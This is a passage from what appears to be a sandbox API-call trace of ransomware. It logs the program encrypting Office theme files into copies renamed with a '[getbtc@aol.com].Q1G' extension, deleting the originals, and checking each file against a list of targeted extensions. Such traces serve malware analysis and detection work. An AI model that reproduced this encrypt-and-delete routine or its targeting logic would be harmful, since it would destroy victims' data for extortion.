lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=314017) returned 1 [0243.784] CloseHandle (hObject=0x3a0) returned 1 [0243.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx")) returned 0x20 [0243.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.785] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.785] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0243.786] GetLastError () returned 0x0 [0243.786] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x4caa1, lpOverlapped=0x0) returned 1 [0243.794] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x4cab0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x4cab0, lpOverlapped=0x0) returned 1 [0243.800] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0243.800] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0243.800] SetEndOfFile (hFile=0x3b8) returned 1 [0243.801] CloseHandle (hObject=0x3b8) returned 1 [0243.801] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.801] SetEndOfFile (hFile=0x3a0) returned 1 [0243.861] CloseHandle (hObject=0x3a0) returned 1 [0243.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.880] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx")) returned 1 [0243.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.884] lstrlenW (lpString=".doc") returned 4 [0243.884] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.884] lstrlenW (lpString=".docx") returned 5 [0243.884] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.884] lstrlenW (lpString=".pdf") returned 4 [0243.884] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.884] lstrlenW (lpString=".xls") returned 4 [0243.915] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.915] lstrlenW (lpString=".xlsx") returned 5 [0243.915] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.915] lstrlenW (lpString=".ppt") returned 4 [0243.915] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.915] lstrlenW (lpString=".zip") returned 4 [0243.915] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.915] lstrlenW (lpString=".rar") returned 4 [0243.915] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.915] lstrlenW (lpString=".bz2") returned 4 [0243.915] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.915] lstrlenW (lpString=".7z") returned 3 [0243.915] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.915] lstrlenW (lpString=".dbf") returned 4 [0243.915] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.915] lstrlenW (lpString=".1cd") returned 4 [0243.915] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.915] lstrlenW (lpString=".jpg") returned 4 [0243.915] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.915] lstrlenW (lpString=".doc") returned 4 [0243.915] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.915] lstrlenW (lpString=".docx") returned 5 [0243.915] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.916] lstrlenW (lpString=".pdf") returned 4 [0243.916] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.916] lstrlenW (lpString=".xls") returned 4 [0243.916] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.916] lstrlenW (lpString=".xlsx") returned 5 [0243.916] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.916] lstrlenW (lpString=".ppt") returned 4 [0243.916] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.916] lstrlenW (lpString=".zip") returned 4 [0243.916] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.916] lstrlenW (lpString=".rar") returned 4 [0243.916] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.916] lstrlenW (lpString=".bz2") returned 4 [0243.916] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.916] lstrlenW (lpString=".7z") returned 3 [0243.916] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.916] lstrlenW (lpString=".dbf") returned 4 [0243.916] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.916] lstrlenW (lpString=".1cd") returned 4 [0243.916] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.916] lstrlenW (lpString=".jpg") returned 4 [0243.916] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.916] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0243.916] lstrlenW (lpString="Equity.eftx") returned 11 [0243.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.919] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=24611) returned 1 [0243.919] CloseHandle (hObject=0x3a0) returned 1 [0243.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx")) returned 0x20 [0243.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0243.929] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.929] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.929] GetLastError () returned 0x0 [0243.929] ReadFile (in: hFile=0x324, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x6023, lpOverlapped=0x0) returned 1 [0243.947] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x6030, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x6030, lpOverlapped=0x0) returned 1 [0243.948] ReadFile (in: hFile=0x324, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0243.948] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xea, lpOverlapped=0x0) returned 1 [0243.948] SetEndOfFile (hFile=0x3a0) returned 1 [0243.948] CloseHandle (hObject=0x3a0) returned 1 [0243.949] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.949] SetEndOfFile (hFile=0x324) returned 1 [0243.997] CloseHandle (hObject=0x324) returned 1 [0243.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx")) returned 1 [0243.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0243.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0243.998] lstrlenW (lpString=".doc") returned 4 [0243.998] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.998] lstrlenW (lpString=".docx") returned 5 [0243.998] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.998] lstrlenW (lpString=".pdf") returned 4 [0243.998] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.998] lstrlenW (lpString=".xls") returned 4 [0243.998] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.998] lstrlenW (lpString=".xlsx") returned 5 [0243.998] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.998] lstrlenW (lpString=".ppt") returned 4 [0243.998] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0243.998] lstrlenW (lpString=".zip") returned 4 [0243.998] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.998] lstrlenW (lpString=".rar") returned 4 [0243.998] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.998] lstrlenW (lpString=".bz2") returned 4 [0243.998] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.998] lstrlenW (lpString=".7z") returned 3 [0243.998] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0243.998] lstrlenW (lpString=".dbf") returned 4 [0243.998] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0243.998] lstrlenW (lpString=".1cd") returned 4 [0243.998] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0243.998] lstrlenW (lpString=".jpg") returned 4 [0243.998] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0243.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0243.999] lstrlenW (lpString=".doc") returned 4 [0243.999] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.999] lstrlenW (lpString=".docx") returned 5 [0243.999] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.999] lstrlenW (lpString=".pdf") returned 4 [0243.999] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.999] lstrlenW (lpString=".xls") returned 4 [0243.999] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.999] lstrlenW (lpString=".xlsx") returned 5 [0243.999] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.999] lstrlenW (lpString=".ppt") returned 4 [0243.999] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0243.999] lstrlenW (lpString=".zip") returned 4 [0243.999] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.999] lstrlenW (lpString=".rar") returned 4 [0243.999] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.999] lstrlenW (lpString=".bz2") returned 4 [0243.999] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.999] lstrlenW (lpString=".7z") returned 3 [0243.999] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0243.999] lstrlenW (lpString=".dbf") returned 4 [0243.999] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0243.999] lstrlenW (lpString=".1cd") returned 4 [0243.999] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0243.999] lstrlenW (lpString=".jpg") returned 4 [0243.999] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.000] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0244.000] lstrlenW (lpString="Foundry.eftx") returned 12 [0244.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0244.008] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=18226) returned 1 [0244.009] CloseHandle (hObject=0x324) returned 1 [0244.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx")) returned 0x20 [0244.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0244.010] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.010] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0244.011] GetLastError () returned 0x0 [0244.011] ReadFile (in: hFile=0x324, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x4732, lpOverlapped=0x0) returned 1 [0244.015] WriteFile (in: hFile=0x204, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x4740, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x4740, lpOverlapped=0x0) returned 1 [0244.016] ReadFile (in: hFile=0x324, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0244.016] WriteFile (in: hFile=0x204, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.016] SetEndOfFile (hFile=0x204) returned 1 [0244.016] CloseHandle (hObject=0x204) returned 1 [0244.017] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.017] SetEndOfFile (hFile=0x324) returned 1 [0244.019] CloseHandle (hObject=0x324) returned 1 [0244.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.020] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx")) returned 1 [0244.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0244.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0244.020] lstrlenW (lpString=".doc") returned 4 [0244.020] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.020] lstrlenW (lpString=".docx") returned 5 [0244.020] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.020] lstrlenW (lpString=".pdf") returned 4 [0244.020] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.020] lstrlenW (lpString=".xls") returned 4 [0244.020] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.020] lstrlenW (lpString=".xlsx") returned 5 [0244.021] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.021] lstrlenW (lpString=".ppt") returned 4 [0244.021] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0244.021] lstrlenW (lpString=".zip") returned 4 [0244.021] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.021] lstrlenW (lpString=".rar") returned 4 [0244.021] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.021] lstrlenW (lpString=".bz2") returned 4 [0244.021] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.021] lstrlenW (lpString=".7z") returned 3 [0244.021] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0244.021] lstrlenW (lpString=".dbf") returned 4 [0244.021] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0244.021] lstrlenW (lpString=".1cd") returned 4 [0244.021] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0244.021] lstrlenW (lpString=".jpg") returned 4 [0244.021] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0244.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0244.021] lstrlenW (lpString=".doc") returned 4 [0244.021] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.021] lstrlenW (lpString=".docx") returned 5 [0244.021] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.021] lstrlenW (lpString=".pdf") returned 4 [0244.021] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.021] lstrlenW (lpString=".xls") returned 4 [0244.021] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.021] lstrlenW (lpString=".xlsx") returned 5 [0244.021] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.021] lstrlenW (lpString=".ppt") returned 4 [0244.021] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0244.022] lstrlenW (lpString=".zip") returned 4 [0244.022] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.022] lstrlenW (lpString=".rar") returned 4 [0244.022] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.022] lstrlenW (lpString=".bz2") returned 4 [0244.022] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.022] lstrlenW (lpString=".7z") returned 3 [0244.022] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0244.022] lstrlenW (lpString=".dbf") returned 4 [0244.022] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0244.022] lstrlenW (lpString=".1cd") returned 4 [0244.022] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0244.022] lstrlenW (lpString=".jpg") returned 4 [0244.022] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.022] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0244.022] lstrlenW (lpString="Grid.eftx") returned 9 [0244.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0244.037] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=18639) returned 1 [0244.037] CloseHandle (hObject=0x3a0) returned 1 [0244.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx")) returned 0x20 [0244.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: 